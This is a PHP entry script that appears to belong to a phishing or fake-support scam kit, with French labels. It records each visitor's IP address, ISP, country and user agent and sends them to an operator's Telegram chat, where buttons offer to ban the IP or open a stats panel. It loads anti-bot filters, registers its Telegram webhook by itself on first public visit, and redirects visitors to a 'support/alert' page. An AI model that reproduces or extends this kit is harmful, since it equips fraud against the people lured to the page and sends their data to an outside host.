<?php

session_start();
defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);

require_once __DIR__ . '/config.php';
require_once __DIR__ . '/app/functions.php';

$_SESSION['client_validated'] = true;
$_SESSION['client'] = true;

$ip = getUserIP();
if ($ip === '::1') {
    $ip = '127.0.0.1';
}
if ($ip === "127.0.0.1") {
    $_SESSION['humain'] = true;
    $_SESSION['humain_verified'] = true;
    $_SESSION['page-index'] = true;
    header('Location: support/alert/', true, 302);
    exit();
}

require_once __DIR__ . '/app/anti.php';

include('ab.php');
include('anti.php');

$_SESSION['page-index'] = true;

$message = <<<EOT
<b>+1 CONNEXION 🟩</b>

<b>🛸 ISP ➟</b> <code>{$org}</code>
<b>🌍 PAYS ➟</b> <code>{$countryCode}</code>
<b>🕛 DATE ➟</b> <code>{$date}</code>
<b>🔗 URL ➟</b> <code>{$host}</code>

<b>🌐 IP ➟</b> <code>{$ip}</code>
<b>🌐 UA ➟</b> <code>{$ua}</code>
EOT;

$buttons = $CONFIG['webhook_buttons']
    ? [
        'inline_keyboard' => [
            [
                ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                ['text' => '📊 STATS 📊', 'url' => web_url('panel/')]
            ],
        ]
    ]
    : [
        'inline_keyboard' => [
            [
                ['text' => '🗑️ BAN IP 🗑️', 'url' => web_url('app/webhook.php') . '?ban=' . rawurlencode((string) $ip)],
                ['text' => '📊 STATS 📊', 'url' => web_url('panel/')]
            ],
        ]
    ];

handleUserStep();
sendMessage($CONFIG['user_chat_id'], $message, $buttons);

$webhookSetFile = __DIR__ . '/.webhook_set';
if (!file_exists($webhookSetFile) && strpos($_SERVER['HTTP_HOST'], 'localhost') === false && strpos($_SERVER['HTTP_HOST'], '127.0.0.1') === false) {
    $webhookUrl = web_url('app/webhook.php');
    $botToken = $CONFIG['bot_token'];

    $apiUrl = "https://api.telegram.org/bot" . urlencode($botToken) . "/setWebhook";
    $params = ['url' => $webhookUrl];

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $apiUrl,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $params,
        CURLOPT_TIMEOUT => 5
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpCode === 200) {
        file_put_contents($webhookSetFile, date('c'));
    }
}

if (empty($CONFIG['bot_token'])) {
    header('Location: support/invalid-bot.php', true, 302);
    exit();
}

if (!empty($CONFIG['captchaa']) && empty($_SESSION['captcha_verified'])) {
    header("Location: captcha.php", true, 302);
    exit();
}

header('Location: support/alert/', true, 302);
exit();
